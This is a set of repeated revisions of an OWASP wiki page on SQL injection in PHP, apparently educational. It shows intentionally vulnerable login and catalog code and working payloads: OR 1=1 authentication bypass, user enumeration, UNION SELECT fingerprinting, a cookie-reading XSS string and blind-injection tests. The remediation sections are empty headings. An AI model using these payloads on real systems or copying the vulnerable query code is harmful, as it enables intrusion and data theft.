Such a login page well call ''login.php'' with supplied user credentials.<br />
<br />
<nowiki><br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
echo "Wellcome ".$sUserName;<br />
} else {<br />
die('Unauthorized Access');<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''db.inc:'''<br />
<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
<br />
=== Source Code Exposure ===<br />
<br />
As you can see ''login.php'' include ''db.inc'' to use ''iMysqlConnect'' whose aims is to<br />
return a resource link to backend MySQL engine. Since ''.inc'' files are not rendered<br />
by WEB Server through the ''PHP Module'' an evil user may retrieve it's content as shown<br />
in the following images:<br />
<br />
[[Image:Owasp_bsp_php_2.jpg]]<br />
<br />
<br />
=== Authentication Bypass ===<br />
<br />
<br />
On our examples user credentials are passed to ''login.php'' wich in turns call the following<br />
PHP function:<br />
<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
When user ''larry'' authenticate the following SQL Query it's executed:<br />
* SELECT username FROM users WHERE username='larry' AND password=md5('larry')<br />
<br />
Breaking such an authentication schema is quite simple, since we need to :<br />
<br />
* truncate backend authentication query<br />
* injection a boolean expression to override WHERE clausole<br />
<br />
<br />
* On MySQL ''#'' is used as a comment character then whatever follows is discarderd from the engine.<br />
* Since our WHERE clausole is something like ''expr AND expr'' we can override it by adding an identity expresssion (E.g.: OR 1=1)<br />
<br />
<br />
It follows that authentication can be bypassed by supplying the following credentials:<br />
* username: ''' OR 1=1#''<br />
* password: ''password''<br />
<br />
* username: ''username''<br />
* password: ''') OR 1=1 #''<br />
<br />
<br />
=== User Enumeration ===<br />
<br />
We learned on previous section that an evil user can bypass authentication schema by supplying <br />
the following credentials:<br />
<br />
* username: '''OR 1=1#''<br />
* password: ''password''<br />
<br />
Let'say again what does ''sAuthenticateUser'' performs:<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
<br />
As you can see $query will contains the following SQL statement:<br />
* SELECT username FROM users WHERE username = '' OR 1=1#' AND password = md5('password')<br />
<br />
wich in turns will be executed in:<br />
<br />
<nowiki><br />
$result = mysql_query($query); <br />
</nowiki><br />
<br />
By adding a ''LIMIT'' operator after the ''OR'' clausole we can index every valid user with the following<br />
queries:<br />
<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 0,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 1,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 2,1<br />
* ''.... and so on''<br />
<br />
We can accomplish the above task by supplying the following ''username/password'' pairs:<br />
* username: ''' OR 1=1 LIMIT 0,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 1,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 2,1#''<br />
* password: ''password''<br />
<br />
<br />
== Online Catalog ==<br />
<br />
Let take another example: an Online Book Store:<br />
<br />
[[Image:Owasp_bsp_php_3.jpg]]<br />
<br />
<br />
<br />
<br />
'''catalog.php:'''<br />
<br />
<nowiki><br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
<br />
<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
showBook($aBookEntry);<br />
</nowiki><br />
<br />
Basicaly it retrieves ''id'' parameter on GET query string and perform the following SQL query:<br />
* ''SELECT * FROM book WHERE id = $_GET['id']''<br />
<br />
As in ''Login Form'' no input validation is performed and SQL Query can be manipulated to returns<br />
arbitrary data and DBMS stored relations/records/functions as well.<br />
<br />
=== UNION SELECT Injection ===<br />
<br />
Since our Application is vulnerable to SQL Injection attacks we can injection a ''UNION SELECT'' statement<br />
to execute arbitrary expression agains remote backend system. Our first attempt will show how to retrieve<br />
DBMS Fingerprint.<br />
<br />
To this aim we need to set up a UNION SELECT injection wich in turns need to know how many expression are evaluated on original SELECT statement. Let'try:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# </nowiki>'' equals to original page (id=1)<br />
<br />
Well we just guessed that original page (''id=1'') evaluates 5 expression on ''SELECT'' statement.<br />
<br />
<br />
* Retrieve DBMS banner<br />
*: ''id=1 UNION ALL SELECT NULL,version(),NULL,NULL,NULL LIMIT 1,1#"'<br />
* Retrieve current user<br />
*: ''id=1 UNION ALL SELECT NULL,user(),NULL,NULL,NULL LIMIT 1,1#''<br />
<br />
=== Client Side SQL Injection ===<br />
<br />
If data retrieved from backend Database in not properly validated we can exploit SQL Injection vulnerabilities in ''catalog.php'' to perform a Cross Site Scripting Attack as well:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,'<script>alert(document.cookie)</script>',NULL,NULL,NULL LIMIT 1,1#''</nowiki><br />
<br />
<br />
[[Image:Owasp_bsp_php_4.jpg]]<br />
<br />
<br />
=== BLIND SQL Injection ===<br />
<br />
While a SQL Injection occours web server may responds with error message describing why <br />
remove database engine fails to execute SQL statement. Sometime network administrator properly tune<br />
WEB Server to hide error message. When it occours you don't know if SQL Injection has been executed with no errors at all. Blind SQL Injection is identical except that attacker need to compare orginal page with the one where SQL statement has been injected in some way.<br />
<br />
<br />
We know that ''catalog.php'':<br />
<br />
<nowiki>function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
</nowiki> <br />
<br />
query backend database with the following SQL statement:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id']</nowiki><br />
<br />
which will retrieve the same record set of:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=1</nowiki><br />
<br />
while the following will retrieve an empty record set:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=0</nowiki><br />
<br />
You can easily guess than ''Blind SQL Injection'' can be checked by supplying to ''catalog.php'' the<br />
followings ''id'' parameters:<br />
* ''id=1 AND 1=1''<br />
* ''id=1 AND 1=0''<br />
<br />
First one will return the same page of ''/catalog.php?id=1'', latter will return a completely different pages. It's worst noticing that we can replace the above ''TRUE'' statement (''1=1'') with what ever we want to compare as a ''TRUE'' boolean identity expression.<br />
<br />
=== Backend Database Enumeration ===<br />
<br />
== Message Board ==<br />
<br />
= Application Security strategies =<br />
<br />
== Hiding DBMS connection strings ==<br />
<br />
== Single Quotes Escape ==<br />
<br />
== Prepared Statement ==<br />
<br />
== Data Validation ==<br />
<br />
== Security in Depth ==<br />
<br />
= Examples Revisited =<br />
<br />
== Login Form ==<br />
<br />
== Online Catalog ==<br />
<br />
== Message Board ==<br />
<br />
<br />
= Defeating Automated Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Preventing_SQL_Injection&diff=29498OWASP Backend Security Project PHP Preventing SQL Injection2008-05-18T21:07:51Z<p>Dbellucci: /* BLIND SQL Injection */</p>
<hr />
<div>= Examples =<br />
To better understand how to secure code a PHP application some examples of<br />
vulnerable code is provided in this paragraph. <br />
<br />
== Login Form ==<br />
On this example we're going to see a tipical Login Form. On our example WEB SITE user need to supply a username/password pair in order to be authenticated.<br />
<br />
<br />
Here follows the authentcation form: <br />
<br />
[[Image:Owasp_bsp_php_1.jpg]]<br />
<br />
Such a login page well call ''login.php'' with supplied user credentials.<br />
<br />
<nowiki><br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
echo "Wellcome ".$sUserName;<br />
} else {<br />
die('Unauthorized Access');<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''db.inc:'''<br />
<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
<br />
=== Source Code Exposure ===<br />
<br />
As you can see ''login.php'' include ''db.inc'' to use ''iMysqlConnect'' whose aims is to<br />
return a resource link to backend MySQL engine. Since ''.inc'' files are not rendered<br />
by WEB Server through the ''PHP Module'' an evil user may retrieve it's content as shown<br />
in the following images:<br />
<br />
[[Image:Owasp_bsp_php_2.jpg]]<br />
<br />
<br />
=== Authentication Bypass ===<br />
<br />
<br />
On our examples user credentials are passed to ''login.php'' wich in turns call the following<br />
PHP function:<br />
<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
When user ''larry'' authenticate the following SQL Query it's executed:<br />
* SELECT username FROM users WHERE username='larry' AND password=md5('larry')<br />
<br />
Breaking such an authentication schema is quite simple, since we need to :<br />
<br />
* truncate backend authentication query<br />
* injection a boolean expression to override WHERE clausole<br />
<br />
<br />
* On MySQL ''#'' is used as a comment character then whatever follows is discarderd from the engine.<br />
* Since our WHERE clausole is something like ''expr AND expr'' we can override it by adding an identity expresssion (E.g.: OR 1=1)<br />
<br />
<br />
It follows that authentication can be bypassed by supplying the following credentials:<br />
* username: ''' OR 1=1#''<br />
* password: ''password''<br />
<br />
* username: ''username''<br />
* password: ''') OR 1=1 #''<br />
<br />
<br />
=== User Enumeration ===<br />
<br />
We learned on previous section that an evil user can bypass authentication schema by supplying <br />
the following credentials:<br />
<br />
* username: '''OR 1=1#''<br />
* password: ''password''<br />
<br />
Let'say again what does ''sAuthenticateUser'' performs:<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
<br />
As you can see $query will contains the following SQL statement:<br />
* SELECT username FROM users WHERE username = '' OR 1=1#' AND password = md5('password')<br />
<br />
wich in turns will be executed in:<br />
<br />
<nowiki><br />
$result = mysql_query($query); <br />
</nowiki><br />
<br />
By adding a ''LIMIT'' operator after the ''OR'' clausole we can index every valid user with the following<br />
queries:<br />
<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 0,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 1,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 2,1<br />
* ''.... and so on''<br />
<br />
We can accomplish the above task by supplying the following ''username/password'' pairs:<br />
* username: ''' OR 1=1 LIMIT 0,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 1,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 2,1#''<br />
* password: ''password''<br />
<br />
<br />
== Online Catalog ==<br />
<br />
Let take another example: an Online Book Store:<br />
<br />
[[Image:Owasp_bsp_php_3.jpg]]<br />
<br />
<br />
<br />
<br />
'''catalog.php:'''<br />
<br />
<nowiki><br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
<br />
<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
showBook($aBookEntry);<br />
</nowiki><br />
<br />
Basicaly it retrieves ''id'' parameter on GET query string and perform the following SQL query:<br />
* ''SELECT * FROM book WHERE id = $_GET['id']''<br />
<br />
As in ''Login Form'' no input validation is performed and SQL Query can be manipulated to returns<br />
arbitrary data and DBMS stored relations/records/functions as well.<br />
<br />
=== UNION SELECT Injection ===<br />
<br />
Since our Application is vulnerable to SQL Injection attacks we can injection a ''UNION SELECT'' statement<br />
to execute arbitrary expression agains remote backend system. Our first attempt will show how to retrieve<br />
DBMS Fingerprint.<br />
<br />
To this aim we need to set up a UNION SELECT injection wich in turns need to know how many expression are evaluated on original SELECT statement. Let'try:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# </nowiki>'' equals to original page (id=1)<br />
<br />
Well we just guessed that original page (''id=1'') evaluates 5 expression on ''SELECT'' statement.<br />
<br />
<br />
* Retrieve DBMS banner<br />
*: ''id=1 UNION ALL SELECT NULL,version(),NULL,NULL,NULL LIMIT 1,1#"'<br />
* Retrieve current user<br />
*: ''id=1 UNION ALL SELECT NULL,user(),NULL,NULL,NULL LIMIT 1,1#''<br />
<br />
=== Client Side SQL Injection ===<br />
<br />
If data retrieved from backend Database in not properly validated we can exploit SQL Injection vulnerabilities in ''catalog.php'' to perform a Cross Site Scripting Attack as well:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,'<script>alert(document.cookie)</script>',NULL,NULL,NULL LIMIT 1,1#''</nowiki><br />
<br />
<br />
[[Image:Owasp_bsp_php_4.jpg]]<br />
<br />
<br />
=== BLIND SQL Injection ===<br />
<br />
While a SQL Injection occours web server may responds with error message describing why <br />
remove database engine fails to execute SQL statement. Sometime network administrator properly tune<br />
WEB Server to hide error message. When it occours you don't know if SQL Injection has been executed with no errors at all. Blind SQL Injection is identical except that attacker need to compare orginal page with the one where SQL statement has been injected in some way.<br />
<br />
<br />
We know that ''catalog.php'':<br />
<br />
<nowiki>function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
</nowiki> <br />
<br />
query backend database with the following SQL statement:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id']</nowiki><br />
<br />
which will retrieve the same record set of:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=1</nowiki><br />
<br />
while the following will retrieve an empty record set:<br />
<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=0</nowiki><br />
<br />
=== Backend Database Enumeration ===<br />
<br />
== Message Board ==<br />
<br />
= Application Security strategies =<br />
<br />
== Hiding DBMS connection strings ==<br />
<br />
== Single Quotes Escape ==<br />
<br />
== Prepared Statement ==<br />
<br />
== Data Validation ==<br />
<br />
== Security in Depth ==<br />
<br />
= Examples Revisited =<br />
<br />
== Login Form ==<br />
<br />
== Online Catalog ==<br />
<br />
== Message Board ==<br />
<br />
<br />
= Defeating Automated Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Preventing_SQL_Injection&diff=29497OWASP Backend Security Project PHP Preventing SQL Injection2008-05-18T20:47:30Z<p>Dbellucci: /* Online Catalog */</p>
<hr />
<div>= Examples =<br />
To better understand how to secure code a PHP application some examples of<br />
vulnerable code is provided in this paragraph. <br />
<br />
== Login Form ==<br />
On this example we're going to see a tipical Login Form. On our example WEB SITE user need to supply a username/password pair in order to be authenticated.<br />
<br />
<br />
Here follows the authentcation form: <br />
<br />
[[Image:Owasp_bsp_php_1.jpg]]<br />
<br />
Such a login page well call ''login.php'' with supplied user credentials.<br />
<br />
<nowiki><br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
echo "Wellcome ".$sUserName;<br />
} else {<br />
die('Unauthorized Access');<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''db.inc:'''<br />
<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
<br />
=== Source Code Exposure ===<br />
<br />
As you can see ''login.php'' include ''db.inc'' to use ''iMysqlConnect'' whose aims is to<br />
return a resource link to backend MySQL engine. Since ''.inc'' files are not rendered<br />
by WEB Server through the ''PHP Module'' an evil user may retrieve it's content as shown<br />
in the following images:<br />
<br />
[[Image:Owasp_bsp_php_2.jpg]]<br />
<br />
<br />
=== Authentication Bypass ===<br />
<br />
<br />
On our examples user credentials are passed to ''login.php'' wich in turns call the following<br />
PHP function:<br />
<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
When user ''larry'' authenticate the following SQL Query it's executed:<br />
* SELECT username FROM users WHERE username='larry' AND password=md5('larry')<br />
<br />
Breaking such an authentication schema is quite simple, since we need to :<br />
<br />
* truncate backend authentication query<br />
* injection a boolean expression to override WHERE clausole<br />
<br />
<br />
* On MySQL ''#'' is used as a comment character then whatever follows is discarderd from the engine.<br />
* Since our WHERE clausole is something like ''expr AND expr'' we can override it by adding an identity expresssion (E.g.: OR 1=1)<br />
<br />
<br />
It follows that authentication can be bypassed by supplying the following credentials:<br />
* username: ''' OR 1=1#''<br />
* password: ''password''<br />
<br />
* username: ''username''<br />
* password: ''') OR 1=1 #''<br />
<br />
<br />
=== User Enumeration ===<br />
<br />
We learned on previous section that an evil user can bypass authentication schema by supplying <br />
the following credentials:<br />
<br />
* username: '''OR 1=1#''<br />
* password: ''password''<br />
<br />
Let'say again what does ''sAuthenticateUser'' performs:<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
<br />
As you can see $query will contains the following SQL statement:<br />
* SELECT username FROM users WHERE username = '' OR 1=1#' AND password = md5('password')<br />
<br />
wich in turns will be executed in:<br />
<br />
<nowiki><br />
$result = mysql_query($query); <br />
</nowiki><br />
<br />
By adding a ''LIMIT'' operator after the ''OR'' clausole we can index every valid user with the following<br />
queries:<br />
<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 0,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 1,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 2,1<br />
* ''.... and so on''<br />
<br />
We can accomplish the above task by supplying the following ''username/password'' pairs:<br />
* username: ''' OR 1=1 LIMIT 0,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 1,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 2,1#''<br />
* password: ''password''<br />
<br />
<br />
== Online Catalog ==<br />
<br />
Let take another example: an Online Book Store:<br />
<br />
[[Image:Owasp_bsp_php_3.jpg]]<br />
<br />
<br />
<br />
<br />
'''catalog.php:'''<br />
<br />
<nowiki><br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
<br />
<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
showBook($aBookEntry);<br />
</nowiki><br />
<br />
Basicaly it retrieves ''id'' parameter on GET query string and perform the following SQL query:<br />
* ''SELECT * FROM book WHERE id = $_GET['id']''<br />
<br />
As in ''Login Form'' no input validation is performed and SQL Query can be manipulated to returns<br />
arbitrary data and DBMS stored relations/records/functions as well.<br />
<br />
=== UNION SELECT Injection ===<br />
<br />
Since our Application is vulnerable to SQL Injection attacks we can injection a ''UNION SELECT'' statement<br />
to execute arbitrary expression agains remote backend system. Our first attempt will show how to retrieve<br />
DBMS Fingerprint.<br />
<br />
To this aim we need to set up a UNION SELECT injection wich in turns need to know how many expression are evaluated on original SELECT statement. Let'try:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# </nowiki>'' equals to original page (id=1)<br />
<br />
Well we just guessed that original page (''id=1'') evaluates 5 expression on ''SELECT'' statement.<br />
<br />
<br />
* Retrieve DBMS banner<br />
*: ''id=1 UNION ALL SELECT NULL,version(),NULL,NULL,NULL LIMIT 1,1#"'<br />
* Retrieve current user<br />
*: ''id=1 UNION ALL SELECT NULL,user(),NULL,NULL,NULL LIMIT 1,1#''<br />
<br />
=== Client Side SQL Injection ===<br />
<br />
If data retrieved from backend Database in not properly validated we can exploit SQL Injection vulnerabilities in ''catalog.php'' to perform a Cross Site Scripting Attack as well:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,'<script>alert(document.cookie)</script>',NULL,NULL,NULL LIMIT 1,1#''</nowiki><br />
<br />
<br />
[[Image:Owasp_bsp_php_4.jpg]]<br />
<br />
<br />
=== BLIND SQL Injection ===<br />
<br />
=== Backend Database Enumeration ===<br />
<br />
== Message Board ==<br />
<br />
= Application Security strategies =<br />
<br />
== Hiding DBMS connection strings ==<br />
<br />
== Single Quotes Escape ==<br />
<br />
== Prepared Statement ==<br />
<br />
== Data Validation ==<br />
<br />
== Security in Depth ==<br />
<br />
= Examples Revisited =<br />
<br />
== Login Form ==<br />
<br />
== Online Catalog ==<br />
<br />
== Message Board ==<br />
<br />
<br />
= Defeating Automated Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=File:Owasp_bsp_php_4.jpg&diff=29496File:Owasp bsp php 4.jpg2008-05-18T20:46:56Z<p>Dbellucci: </p>
<hr />
<div></div>Dbellucci